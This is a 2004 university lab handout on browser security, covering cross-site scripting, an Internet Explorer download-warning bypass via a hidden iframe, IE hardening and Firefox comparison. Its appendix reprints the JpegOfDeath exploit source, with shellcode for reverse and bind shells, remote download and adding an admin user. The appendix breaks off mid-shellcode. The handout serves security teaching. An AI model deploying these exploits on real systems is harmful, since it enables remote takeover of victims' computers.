ECE 4112: Internetwork Security

Lab 12: Internet Browsing Vulnerabilities and Security

Group Number: ___________

Member Names: _______________    _______________ 

Please read the entire lab and any extra materials carefully before starting.  Be sure to start early enough so that you will have time to complete the lab.  Answer ALL questions and be sure you turn in ALL materials listed in the Turn-in Checklist ON or BEFORE the Date Due.  
Date:  November 16, 2004

Date Due:  November 23, 2004

Last Revised:  November 15, 2004

Written by: Ye Yan, Frank Park, Scott Kim, and Neil Joshi

Goal:  The goal of this lab is to examine certain vulnerabilities and scripts that commonly plague users on the Internet and discover how to prevent these types of attacks.
Summary:  In this lab, we will be installing and configuring two types of web servers and running several exploits to test the security of our web browsers.
Background and Theory:  Many common Internet users today have been infected with some kind of unwanted programs or software which greatly affects the user’s ability to use the Internet in the way that they intend it to be used.  Scripts in ActiveX and JavaScript are the easiest way for a malicious user to gain access to another computer and do whatever he may want on it.  Also, new attacks are being generated daily.  This lab stresses the importance of keeping your computer up to date in order to not become a victim.
Prelab Questions:  None.

Lab Scenario:  For this lab we will be running scripts on an unprotected configuration of Internet Explorer on a Windows XP machine and determining the flaws of that configuration.  Then we will be exploring ways to properly defend our computers from malicious attacks that are commonplace on the Internet.  For this lab, we will be using a Windows XP virtual machine and a copy of Windows XP that was created in a previous lab assignment.
Section 1: Cross-site Scripting and Installation of Apache Web Server

In this section of the lab, we will be looking at the vulnerabilities of Cross-site Scripting (CSS).  Many CSS exploits come from poorly designed server applications that have no validation on the validity of the user input before returning it to the client.  “Cross-Site” refers to the restriction of the client application.  For example, the JavaScript on one website only has access to the cookie set by that site, it cannot "cross-site" and access the cookie set by another website.  However, if the bad guys can inject code onto another website, then they can get access to the documents associated with that site! (e.g. cookie)

First, we will install Apache web server and PHP on your Windows XP virtual machine.  The install files are in the lab12 folder on the NAS.  Copy the Install Files folder from the lab12 directory to the desktop.
Apache can be downloaded from the official site: http://www.apache.org/
PHP can also be downloaded from the official site: http://www.php.net/
Installing Apache [1]
Locate the Apache exe file (apache_1.3.27-win32-x86-no_src.exe) and run it.
Server Information – when you get to this part of the installation, enter the following values (leave all other values as the defaults).


Network Domain: - Static IP, local IP (192.168.0.1), get Static DNS for you dynamic IP (see no-ip.com) 
Server Name: - 127.0.0.1(localhost), Static IP, Static DNS (no-ip.com) 
Administrators Email: - your_email@domain.com


Finish the install using the defaults for all of the other options. 
Configuring Apache
Remember when apache install was on 'Server Information'? We specified localhost as 'Server Name'
Apache was configured just to run on default. So let’s try it out.
For Win9x/2000/xp
Click on "Start ( Programs ( Apache HTTP Server 2.0.47 ( Control Apache Server ( Start Apache in Console" 

Apache launches a DOS window then the window is immediately renamed to 'APACHE'. Give it some time to load.  The window will appear and then disappear. 
Now, we have configured apache. Let's take it for a test. Open your browser and type in http://localhost 
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You should see this after you have typed the address:
'If you can see this, it means that the installation of the Apache web server software on this system was successful.' 

Well, let’s make a little index file for apache to use every time you are in http://localhost
Remember, we will not use the index file until apache is configured for the folder web.

-Stop Apache. net stop apache in command or stop apache using the start menu.
-First, open the configuration file (httpd) - located in the 'conf' folder of Apache
-Search for DirectoryIndex then we will add little extra characters to that line.
-Follow the image below. just add index.php and index.htm after index.html
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-Save and Close the file.
-Make a folder named 'web' under your main[c] drive.
-Go ahead and add an index file in the 'web' folder in your c drive.
-Save the index file as .htm :: .html for .php (we are going to hold until php is installed)
-Start Apache. net start apache in command or start apache using the start menu.

Downloading PHP
PHP is a widely-used general-purpose scripting language that is especially suited for Web development and can be embedded into HTML. 
Retrieve the php-4.3.1-installer.exe file from the NAS and run the file. Leave all values as their defaults and when finished, continue on.

Configure PHP
Go into folder 'c:\php' find file 'php.ini-dist' rename it to 'php.ini'
Open the file 'php.ini' using 'Notepad'
Under 'Search' click 'Find' or 'Edit' click 'Find' on Windows 2000 or press 'Ctrl+F'
then type this 'doc_root' and modify according to the image below.
Seven lines after find 'extension_dir' and modify following the image below.

Modify the values of these two variables according to the screenshot below:
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-Save and Close the file.
-Now, let’s move this file to:
'php.ini' to c:\windows -- Win95/98/XP
To c:\winnt or c:\winnt40 -- WinNT/2000/XP 

copy the file php4apache.dll from c:\php\sapi folder to the apache.exe folder
By default c:\Program Files\Apache Group\Apache 

also copy the file php4ts.dll from c:\php to the same apache.exe folder 
Configure Apache for PHP
Open the 'httpd.conf' file that we opened earlier configuring Apache.
"Start ( Programs ( Apache HTTP Server 2.0.47 ( Configure Apache Server (  Edit the Apache httpd.conf Configuration File"
Search for 'DocumentRoot' & 'Directory'
Modify the variables to match the following values: 
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Go to the line or search for 'AddType application/x-tar .tgz'
below that line add the following:
-You can cut and paste them. 

LoadModule php4_module c:/php/sapi/php4apache.dll
AddType application/x-httpd-php .php
-Save and Close the file. 

Test PHP
If your apache was still running while you configured php then shut it down and restart it. Let’s go ahead and test php with a simple line.
Open Notepad by clicking 'Start' ( 'Run' then typing 'notepad'
Save the file under 'c:\web\test.php'
Open your browser and type this at the location box 'http://localhost/test.php' 

That sample script displays the date 
[image: image7.png]Today's date is: Apr 21, 2004




Now we have installed Apache and PHP onto our virtual machine.  Now we will test out the scripts and determine the vulnerabilities in our system.

Next, look in the lab12 folder on the NAS.  The folder contains two files that we need for this exploit, vulnerable.html and vulnerable.php.  Copy both of the files to your “C:\web” folder.  View the source code for both files and get a feel of what these two files do.

Start up the Apache server:

Click on "Start ( All Programs ( Apache HTTP ( Start Apache in Console"
Now access the vulnerable.html from off the server.  You can do this by opening up a browser and typing the following URL into the address bar:

http://localhost/vulnerable.html
Next, follow the instructions on the web page to complete this portion of the lab.

Q 1.1: The form in this lab used GET to submit data to the server.  Another method is POST.  Would using POST help increase security in this case and why/why not?
Q 1.2: One way we can prevent bad user input is to have JavaScript that checks the user input on the form page.  However, that does not prevent the malicious link attack since the link bypasses the form page completely.  What can the web server administrator do to prevent against bad input?
Section 2: Web-based JavaScript Exploits
In this exercise, we will exploit a user who has stumbled across our webpage.  The webpage contains malicious code that downloads a file without alerting the user about the possible threat.  But before we create a detailed exploit, we must first understand how JavaScript works.  To do this, we will work through an example rather than explain the specifics of the language.

From the NAS, retrieve the folder marked JSExploits and save it on your WindowsXP desktop.  Open the folder and click on the Javascript_virus_test.htm file.  On the toolbar, go to Tools ( Internet Options.  Go to the Security tab and click on the Custom Levels button at the bottom.  Enable all the ActiveX settings as seen in Figure 1.  Click on the link marked “Caution: Danger Ahead”.  You have been directed to another html page.
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Figure 1. Enabling ActiveX controls.

Q 2.1: What just happened?  Hint: Right Click, and View Source.  Check out what the code in the <script> </script> brackets are doing.

After discovering what changed, take a screenshot that would prove you understand what happened.  (Screenshot #2).

Hopefully with this example, we see the potential vulnerabilities of Internet Explorer.  Of course, this script was not as harmful it could have been.  Now we will learn step by step how to write an exploit.  This particular exploit was discovered in the fall of 2004.  It bypasses the Internet Explorer’s built in warnings when downloading an executable file by inserting JavaScript code in place of the 404 Error Page.  For more information, go to the following website:

http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=2616 [2]
The following directions may seem a bit strange, but they are necessary to execute this exploit.  The first step is to change what the 404 Error Message points to.  We edit this in the IIS web server on winXPProCopy.  If you do not have IIS installed, please refer to Appendix A for directions.  After making sure IIS is up and running, go to Start ( All Programs ( Administrative Tools ( Internet Information Services.  Once IIS opens, go to the Action tab and click on Properties.  Under the Custom Errors tab, modify the Error Mapping Properties as follows:

· Error Code: 404

· Default Text: Not Found

· Message Type: URL

· URL: /v.exe (this would be the name of our malicious code file)
After editing these properties, click Apply.  Now that we have redirected where the 404 Page Not Found Error goes, we must create a page that has a dummy link. Go to My Computer ( C:/ ( Inetpub ( wwwroot and create a page called index.htm in the directory. The html code is listed below:

< html>
< body>
< iframe src='vengy404.htm' name="NotFound" width="0" height="0"></iframe>Click
< a href=# onclick="javascript:document.frames.NotFound.document.execCommand('SaveAs',1,'funny joke.exe');">
ExploitLink</a><br>

<a href=”v.exe”>NonExploitLink</a>
</body>
</html> 
Now go to winXPPro and type the IP address of the winXPProCopy virtual machine in Internet Explorer. A webpage should appear with two links.

Click on the first link marked ExploitLink. Save the file to our desktop.  Take a screenshot (Screenshot #3).

Click on the second link marked NonExploitLink.  Take a screenshot (Screenshot #4).

Q 2.2: What is the difference between the two downloads?  Explain the potential implications of the difference.

Section 3: Internet Browsers
In this section of the lab, we will be looking at two different web browsers and determining the vulnerabilities of them and fixing the problems.  We will look at the flaws of Internet Explorer and look at possible solutions to prevent security breaches on our computer system.

Before continuing on with this section, copy the Browsers directory to the desktop of your Windows XP virtual machine from the NAS in the lab12 directory.
Configuring Internet Explorer

As most people know, Internet Explorer is the most used web browser in the world.  Because it is integrated with all versions of Windows, it is the default choice for the vast majority of computer users.  Since every Microsoft product seems to have some sort of security issue, malicious users have developed exploits that specifically target those who use Internet Explorer.  Although, Microsoft has tried to keep up to date about the latest security flaws, sometimes they are behind because new attacks are being developed daily.  Also, many users neglect to update their systems, causing older attacks to affect their systems.  These exploits are usually a script, usually in the form of a Visual Basic, JavaScript or ActiveX script on a malicious webpage.  Java Applets have also been known to cause problems in Internet Explorer.  In this section of the lab we will take precautionary steps that every Internet user should perform on their computers.

The following steps should be performed on your personal computer in addition to the Windows XP virtual machine.  First, start up your Windows XP virtual machine and then open up Internet Explorer.  Once it has opened, perform the following steps.

Since we were running Internet Explorer with minimal security settings earlier, we must change the settings to the default values.  Click on Tools ( Internet Options and click on the Security tab.  Click on Custom Level and Reset the settings to the Medium setting.  Before changing the settings of Internet Explorer as listed below, take a look at the default settings that are on the computer.

Q 3.1: What potential problems can you see with the default settings of Internet Explorer?

Now perform the following steps: (The configuration below is optimized for a system running Windows XP with Service Pack 2 installed.  Other versions of Windows may not have all the options listed below.)

1.  Click on Tools ( Internet Options…

2.  Click on the Security tab and click on Internet Zone.  Then click on Custom Level to change the settings.

3.  Under .NET Framework, change Run components not signed with Authenticode to Disable and Run components signed with Authenticode to Prompt.

4.  Under ActiveX controls and plug-ins, change Download signed ActiveX controls to Prompt, Download unsigned ActiveX controls to Disable, Initialize and script ActiveX controls not marked as safe to Disable, and Script ActiveX controls marked safe for scripting to Prompt.

5.  Under Miscellaneous, change Access data sources across domains to Disable, Drag and drop or copy and paste files to Prompt, Installation of desktop items to Prompt, Launching programs and files in an IFRAME to Prompt, Navigate sub-frames across different domains to Prompt, Software channel permissions to High safety, and Userdata persistence to Disable.

6.  Under Scripting, change Allow paste operations via script to Prompt and Scripting of Java applets to Prompt.

Now we will install IE-SPYAD to further protect our computer.  This program will add a long list of known adware and script abusive advertising companies to the Restricted Sites list of Internet Explorer.  Denying these sites from running scripts on your computer will keep your computer safe from potential browser hijacking and unwanted advertisements.

IE-SPYAD can be found at https://netfiles.uiuc.edu/ehowes/www/resource.htm#IESPYAD
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Figure 2: IE-SPYAD main menu screen.
1.  Open ie-spyad.exe and unzip the files to the default directory (c:/ie-spyad)

2.  Open the default directory and double click on the install.bat file.

3.  Since we have not installed this program previously, we will directly install the New IE-SPYAD list.  Press 2 to install this and then press 1 to confirm.

4.  Once you have done this press 5 to exit the program.

Q 3.2: Take a look at the names of some of the sites that are now listed in the restricted zone.  List some of the names that are well known to you and what do most of the websites on the list have common?
Q 3.3: What other measures can a computer user take to further protect their system?

Other Web Browsers

Now that we know about the vulnerabilities in Internet Explorer, we will take a look into alternatives for it.  One of the most known web browsers that have emerged in the wake of the negative press for Microsoft’s product is Mozilla Firefox.  We will be taking a look at the advantages of installing this browser and using it in the place of Internet Explorer.

Mozilla Firefox can be downloaded at http://www.mozilla.org/products/firefox/
1.  Open Firefox Setup 1.0.exe.

2.  Continue with the installation using all of the default options.
Now that we have installed Firefox, let us run the scripts from the previous sections and test out if Firefox can prevent some of the known problems with Internet Explorer.
Open vulnerable.html from Section 1 using Mozilla Firefox.  Repeat the procedure from the web page again and see if the exploit works.

Also run the Javascript_virus_test.htm file using Firefox and make note of what happens.
Finally, as the last test, type in the IP address of the WinXPProCopy virtual machine in the address bar of Firefox (Both Virtual Machines should still be running) and make note of what happened.
Q 3.4:  Was the Mozilla Firefox browser affected by any of the exploits from the scripts from the previous section?  If so, which ones?  What could be the explanation for your results?
Section 4: Advanced JPEG (GDI+) Exploit
Discovered in September, 2004, a buffer overrun in JPEG Processing (GDI+) allows code execution to any remote machines with programs that processes any JPEG files such as Microsoft Internet Explorer, Outlook, Office, Visual Studio, etc.  So far, only Microsoft programs have been reported with this vulnerability. [3]
What are JPEG images?

JPEG is a platform-independent image format that supports a high level of compression. JPEG is a widely supported Internet standard developed by the Joint Photographic Experts Group.
What is GDI+?

GDI+ is a graphics device interface that provides two-dimensional vector graphics, imaging, and typography to applications and programmers. 

What causes the vulnerability?
An unchecked buffer in the processing of JPEG images.

How could an attacker exploit this vulnerability?
Any program that processes JPEG images could be vulnerable to this attack. Here are some examples:
 * An attacker could host a malicious Web site that is designed to exploit this vulnerability through Internet Explorer 6 and then persuade a user to view the Web site.
 * An attacker could also create an HTML e-mail message that has a specially crafted image attached. The specially crafted image could be designed to exploit this vulnerability through Outlook 2002 or Outlook Express 6. An attacker could persuade the user to view or preview the HTML e-mail message.
 * An attacker could embed a specially crafted image in an Office document and then persuade the user to view the document.
 * An attacker could add a specially crafted image to the local file system or onto a network share and then persuade the user to preview the directory by using Windows Explorer.

Observe and analyze the code of the exploit file (JpegOfDeath.M.c) and answer the following questions.  The code is located on the NAS drive and also as Appendix B at the end of this lab.
Q 4.1: What is this exploit capable of doing to a remote machine?

Q 4.2: Once you generate the JPEG file using this exploit file, suggest some ways to deploy this file to others?

Q 4.3: What is the scope of the vulnerability?

Section 5: ShieldsUP!! Internet Profiling

In this section of the lab, we will be looking at an online Internet Profiling tool to determine the vulnerabilities of many of computers that are commonly on the Internet.  This section does not have to be completed in the lab and it is recommended to perform this section of the lab on your personal computer as well as one of the computers in a public computer cluster.

The ShieldsUP!! Website can be found at https://grc.com/x/ne.dll?bh0bkyd2.

More information about the company that provides this service can be found at http://www.grc.com/default.htm. [4]
When you first reach the website read the disclaimer that is on the main page before clicking Proceed.
Q 5.1: What is the “machine name” and IP address of the computer that you are using?

Click Proceed and read the additional background information that is listed at the bottom of the page and click on any corresponding informational links that interest you.

After reading the background information, we will now perform tests to determine if the computer that is being used is truly secure enough to be on the Internet.

First, we will determine the status of the most commonly used ports on the Internet.  These ports are the first 1056 ports; ports 0 through 1055.  Click on “Common Ports” under ShieldsUP!! Services to start the test.  This test will try to establish a connection with your machine on each of the first 1056 ports.  Once the test has finished, look and analyze the results on the screen.

Q 5.2: Look at the results that have been displayed.  What is the status of all the ports that were scanned?
Q 5.3: Compare the results of this test from two separate computers.  What differences did you notice and what factors contributed to this?

As you can see from the test that we have just run, if a computer doesn’t reply to a TCP connection request or a ping request, the person that is pinging your computer will not be able to detect the presence of your system.  It is best for your computer to be performing in stealth mode.  If your computer cannot be noticed, malicious users that will try to break in to your system will unable to detect it.  Adding a firewall and/or updating the security settings should be the first thing to do if ports are being detected.

Although it is not required, it is highly recommended to perform some of the other tests on the site and draw conclusions of the security of your computer (or the computer you are using to complete this lab assignment).  As a second additional optional task, you can use Ethereal or any other Internet traffic monitor to see and analyze the traffic that is passing through your computer.

References:
[1] http://internetmaster.com/installtutorial/download_apache.htm
Many of the steps to install the Apache web server were derived from this site.
[2] http://www.addict3d.org/index.php?page=viewarticle&type=security&ID=2616
[3] http://www.microsoft.com/technet/security/bulletin/MS04-028.mspx
Much of the information in this section can also be found at this site.

[4] http://www.grc.com/default.htm
Appendix A
Steps to Install IIS and create a web server
On the server, install the IIS (You’ll need to get a Windows XP CD from your TA)

1. Insert Windows CD

2. It should ‘AutoPlay’, and bring up a window with 4 options. If not, navigate to the CD-ROM using Explorer, right click on it, and select ‘AutoPlay’

3. Select the Install Optional Windows Components option.

4. The ‘Windows Components Wizard’ will pop up. From the list on the screen, check the box next to IIS. Then click the Details… button.

5. In the new window that pops up, Check the box next to File Transfer Protocol (FTP) Service.

6. Click ‘OK’

7. You should now be back to the ‘Windows Components Wizard’. Click Next. Windows should then copy the files needed over from the CD.

8. When it’s done installing, click on the Finish button. Then close out the ‘Welcome to Microsoft Windows XP’ window.

As an aside, the default installation of IIS has a TON of security holes, so in the real world, you would want to have a CD of all the patches that you need for IIS on a CD, and do this installation off-line, and patch the system before you put it on the internet.

Now Reboot your Windows XP machine.

Appendix B

JpegOfDeath.M.c source code

/*
* Exploit Name:
* =============
* JpegOfDeath.M.c v0.6.a All in one Bind/Reverse/Admin/FileDownload
* =============
* Tweaked Exploit By M4Z3R For GSO
* All Credits & Greetings Go To:
* ==========
* FoToZ, Nick DeBaggis, MicroSoft, Anthony Rocha, #romhack
* Peter Winter-Smith, IsolationX, YpCat, Aria Giovanni,
* Nick Fitzgerald, Adam Nance (where are you?),
* Santa Barbara, Jenna Jameson, John Kerry, so1o,
* Computer Security Industry, Rom Hackers, My chihuahuas
* (Rocky, Sailor, and Penny)...
* ===========
* Flags Usage:
* -a: Add User X with Pass X to Admin Group;
* IE: Exploit.exe -a pic.jpg
* -d: Download a File From an HTTP Server;
* IE: Exploit.exe -d http://YourWebServer/Patch.exe pic.jpg
* -r: Send Back a Shell To a Specified IP on a Specific Port;
* IE: Exploit.exe -r 192.168.0.1 -p 123 pic.jpg (Default Port is 1337)
* -b: Bind a Shell on The Exploited Machine On a Specific Port;
* IE: Exploit.exe -b -p 132 pic.jpg (Default Port is 1337)
* Disclaimer:
* ===========
* THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
* OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT
* NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF
* THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE
*
*/
  
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <windows.h>
#pragma comment(lib, "ws2_32.lib")

// Exploit Data...

char reverse_shellcode[] =
"\xD9\xE1\xD9\x34"
"\x24\x58\x58\x58\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\xAC\xFE\x80"
"\x30\x92\x40\xE2\xFA\x7A\xA2\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB"
"\x54\xEB\x7E\x6B\x38\xF2\x4B\x9B\x67\x3F\x59\x7F\x6E\xA9\x1C\xDC"
"\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C\x21\x84\xC5\xC1"
"\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6\x1B\x77\x1B\xCF"
"\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2\x8E\x3F\x19\xCA"
"\x9A\x79\x9E\x1F\xC5\xB6\xC3\xC0\x6D\x42\x1B\x51\xCB\x79\x82\xF8"
"\x9A\xCC\x93\x7C\xF8\x9A\xCB\x19\xEF\x92\x12\x6B\x96\xE6\x76\xC3"
"\xC1\x6D\xA6\x1D\x7A\x1A\x92\x92\x92\xCB\x1B\x96\x1C\x70\x79\xA3"
"\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92\x6D\xC7\x8A\xC5"
"\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x86\x1B\x51\xA3\x6D\xFA\xDF"
"\xDF\xDF\xDF\xFA\x90\x92\xB0\x83\x1B\x73\xF8\x82\xC3\xC1\x6D\xC7"
"\x82\x17\x52\xE7\xDB\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x54"
"\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xCE\xB6\xDA\x1B"
"\xCE\xB6\xDE\x1B\xCE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3\xC3"
"\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xBA\x1B\x73\x79\x9C"
"\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xB6\xC5\x6D\xC7\x9E\x6D\xC7"
"\xB2\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97\xEA"
"\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6\x19"
"\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F\x93"
"\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4\x19"
"\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3\x52"
"\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char bind_shellcode[] =
"\xD9\xE1\xD9\x34\x24\x58\x58\x58"
"\x58\x80\xE8\xE7\x31\xC9\x66\x81\xE9\x97\xFE\x80\x30\x92\x40\xE2"
"\xFA\x7A\xAA\x92\x92\x92\xD1\xDF\xD6\x92\x75\xEB\x54\xEB\x77\xDB"
"\x14\xDB\x36\x3F\xBC\x7B\x36\x88\xE2\x55\x4B\x9B\x67\x3F\x59\x7F"
"\x6E\xA9\x1C\xDC\x9C\x7E\xEC\x4A\x70\xE1\x3F\x4B\x97\x5C\xE0\x6C"
"\x21\x84\xC5\xC1\xA0\xCD\xA1\xA0\xBC\xD6\xDE\xDE\x92\x93\xC9\xC6"
"\x1B\x77\x1B\xCF\x92\xF8\xA2\xCB\xF6\x19\x93\x19\xD2\x9E\x19\xE2"
"\x8E\x3F\x19\xCA\x9A\x79\x9E\x1F\xC5\xBE\xC3\xC0\x6D\x42\x1B\x51"
"\xCB\x79\x82\xF8\x9A\xCC\x93\x7C\xF8\x98\xCB\x19\xEF\x92\x12\x6B"
"\x94\xE6\x76\xC3\xC1\x6D\xA6\x1D\x7A\x07\x92\x92\x92\xCB\x1B\x96"
"\x1C\x70\x79\xA3\x6D\xF4\x13\x7E\x02\x93\xC6\xFA\x93\x93\x92\x92"
"\x6D\xC7\xB2\xC5\xC5\xC5\xC5\xD5\xC5\xD5\xC5\x6D\xC7\x8E\x1B\x51"
"\xA3\x6D\xC5\xC5\xFA\x90\x92\x83\xCE\x1B\x74\xF8\x82\xC4\xC1\x6D"
"\xC7\x8A\xC5\xC1\x6D\xC7\x86\xC5\xC4\xC1\x6D\xC7\x82\x1B\x50\xF4"
"\x13\x7E\xC6\x92\x1F\xAE\xB6\xA3\x52\xF8\x87\xCB\x61\x39\x1B\x45"
"\x54\xD6\xB6\x82\xD6\xF4\x55\xD6\xB6\xAE\x93\x93\x1B\xEE\xB6\xDA"
"\x1B\xEE\xB6\xDE\x1B\xEE\xB6\xC2\x1F\xD6\xB6\x82\xC6\xC2\xC3\xC3"
"\xC3\xD3\xC3\xDB\xC3\xC3\x6D\xE7\x92\xC3\x6D\xC7\xA2\x1B\x73\x79"
"\x9C\xFA\x6D\x6D\x6D\x6D\x6D\xA3\x6D\xC7\xBE\xC5\x6D\xC7\x9E\x6D"
"\xC7\xBA\xC1\xC7\xC4\xC5\x19\xFE\xB6\x8A\x19\xD7\xAE\x19\xC6\x97"
"\xEA\x93\x78\x19\xD8\x8A\x19\xC8\xB2\x93\x79\x71\xA0\xDB\x19\xA6"
"\x19\x93\x7C\xA3\x6D\x6E\xA3\x52\x3E\xAA\x72\xE6\x95\x53\x5D\x9F"
"\x93\x55\x79\x60\xA9\xEE\xB6\x86\xE7\x73\x19\xC8\xB6\x93\x79\xF4"
"\x19\x9E\xD9\x19\xC8\x8E\x93\x79\x19\x96\x19\x93\x7A\x79\x90\xA3"
"\x52\x1B\x78\xCD\xCC\xCF\xC9\x50\x9A\x92\x65\x6D\x44\x58\x4F\x52";

char http_shellcode[]=
"\xEB\x0F\x58\x80\x30\x17\x40\x81\x38\x6D\x30\x30\x21\x75\xF4"
"\xEB\x05\xE8\xEC\xFF\xFF\xFF\xFE\x94\x16\x17\x17\x4A\x42\x26"
"\xCC\x73\x9C\x14\x57\x84\x9C\x54\xE8\x57\x62\xEE\x9C\x44\x14"
"\x71\x26\xC5\x71\xAF\x17\x07\x71\x96\x2D\x5A\x4D\x63\x10\x3E"
"\xD5\xFE\xE5\xE8\xE8\xE8\x9E\xC4\x9C\x6D\x2B\x16\xC0\x14\x48"
"\x6F\x9C\x5C\x0F\x9C\x64\x37\x9C\x6C\x33\x16\xC1\x16\xC0\xEB"
"\xBA\x16\xC7\x81\x90\xEA\x46\x26\xDE\x97\xD6\x18\xE4\xB1\x65"
"\x1D\x81\x4E\x90\xEA\x63\x05\x50\x50\xF5\xF1\xA9\x18\x17\x17"
"\x17\x3E\xD9\x3E\xE0\xFE\xFF\xE8\xE8\xE8\x26\xD7\x71\x9C\x10"
"\xD6\xF7\x15\x9C\x64\x0B\x16\xC1\x16\xD1\xBA\x16\xC7\x9E\xD1"
"\x9E\xC0\x4A\x9A\x92\xB7\x17\x17\x17\x57\x97\x2F\x16\x62\xED"
"\xD1\x17\x17\x9A\x92\x0B\x17\x17\x17\x47\x40\xE8\xC1\x7F\x13"
"\x17\x17\x17\x7F\x17\x07\x17\x17\x7F\x68\x81\x8F\x17\x7F\x17"
"\x17\x17\x17\xE8\xC7\x9E\x92\x9A\x17\x17\x17\x9A\x92\x18\x17"
"\x17\x17\x47\x40\xE8\xC1\x40\x9A\x9A\x42\x17\x17\x17\x46\xE8"
"\xC7\x9E\xD0\x9A\x92\x4A\x17\x17\x17\x47\x40\xE8\xC1\x26\xDE"
"\x46\x46\x46\x46\x46\xE8\xC7\x9E\xD4\x9A\x92\x7C\x17\x17\x17"
"\x47\x40\xE8\xC1\x26\xDE\x46\x46\x46\x46\x9A\x82\xB6\x17\x17"
"\x17\x45\x44\xE8\xC7\x9E\xD4\x9A\x92\x6B\x17\x17\x17\x47\x40"
"\xE8\xC1\x9A\x9A\x86\x17\x17\x17\x46\x7F\x68\x81\x8F\x17\xE8"
"\xA2\x9A\x17\x17\x17\x44\xE8\xC7\x48\x9A\x92\x3E\x17\x17\x17"
"\x47\x40\xE8\xC1\x7F\x17\x17\x17\x17\x9A\x8A\x82\x17\x17\x17"
"\x44\xE8\xC7\x9E\xD4\x9A\x92\x26\x17\x17\x17\x47\x40\xE8\xC1"
"\xE8\xA2\x86\x17\x17\x17\xE8\xA2\x9A\x17\x17\x17\x44\xE8\xC7"
"\x9A\x92\x2E\x17\x17\x17\x47\x40\xE8\xC1\x44\xE8\xC7\x9A\x92"
"\x56\x17\x17\x17\x47\x40\xE8\xC1\x7F\x12\x17\x17\x17\x9A\x9A"
"\x82\x17\x17\x17\x46\xE8\xC7\x9A\x92\x5E\x17\x17\x17\x47\x40"
"\xE8\xC1\x7F\x17\x17\x17\x17\xE8\xC7\xFF\x6F\xE9\xE8\xE8\x50"
"\x72\x63\x47\x65\x78\x74\x56\x73\x73\x65\x72\x64\x64\x17\x5B"
"\x78\x76\x73\x5B\x7E\x75\x65\x76\x65\x6E\x56\x17\x41\x7E\x65"
"\x63\x62\x76\x7B\x56\x7B\x7B\x78\x74\x17\x48\x7B\x74\x65\x72"
"\x76\x63\x17\x48\x7B\x60\x65\x7E\x63\x72\x17\x48\x7B\x74\x7B"
"\x78\x64\x72\x17\x40\x7E\x79\x52\x6F\x72\x74\x17\x52\x6F\x7E"
"\x63\x47\x65\x78\x74\x72\x64\x64\x17\x40\x7E\x79\x5E\x79\x72"
"\x63\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x56"
"\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x58\x67\x72\x79\x42\x65"
"\x7B\x56\x17\x5E\x79\x63\x72\x65\x79\x72\x63\x45\x72\x76\x73"
"\x51\x7E\x7B\x72\x17\x17\x17\x17\x17\x17\x17\x17\x17\x7A\x27"
"\x27\x39\x72\x6F\x72\x17"
"m00!";

char admin_shellcode[] =
"\x66\x81\xec\x80\x00\x89\xe6\xe8\xb7\x00\x00\x00\x89\x06\x89\xc3"
"\x53\x68\x7e\xd8\xe2\x73\xe8\xbd\x00\x00\x00\x89\x46\x0c\x53\x68"
"\x8e\x4e\x0e\xec\xe8\xaf\x00\x00\x00\x89\x46\x08\x31\xdb\x53\x68"
"\x70\x69\x33\x32\x68\x6e\x65\x74\x61\x54\xff\xd0\x89\x46\x04\x89"
"\xc3\x53\x68\x5e\xdf\x7c\xcd\xe8\x8c\x00\x00\x00\x89\x46\x10\x53"
"\x68\xd7\x3d\x0c\xc3\xe8\x7e\x00\x00\x00\x89\x46\x14\x31\xc0\x31"
"\xdb\x43\x50\x68\x72\x00\x73\x00\x68\x74\x00\x6f\x00\x68\x72\x00"
"\x61\x00\x68\x73\x00\x74\x00\x68\x6e\x00\x69\x00\x68\x6d\x00\x69"
"\x00\x68\x41\x00\x64\x00\x89\x66\x1c\x50\x68\x58\x00\x00\x00\x89"
"\xe1\x89\x4e\x18\x68\x00\x00\x5c\x00\x50\x53\x50\x50\x53\x50\x51"
"\x51\x89\xe1\x50\x54\x51\x53\x50\xff\x56\x10\x8b\x4e\x18\x49\x49"
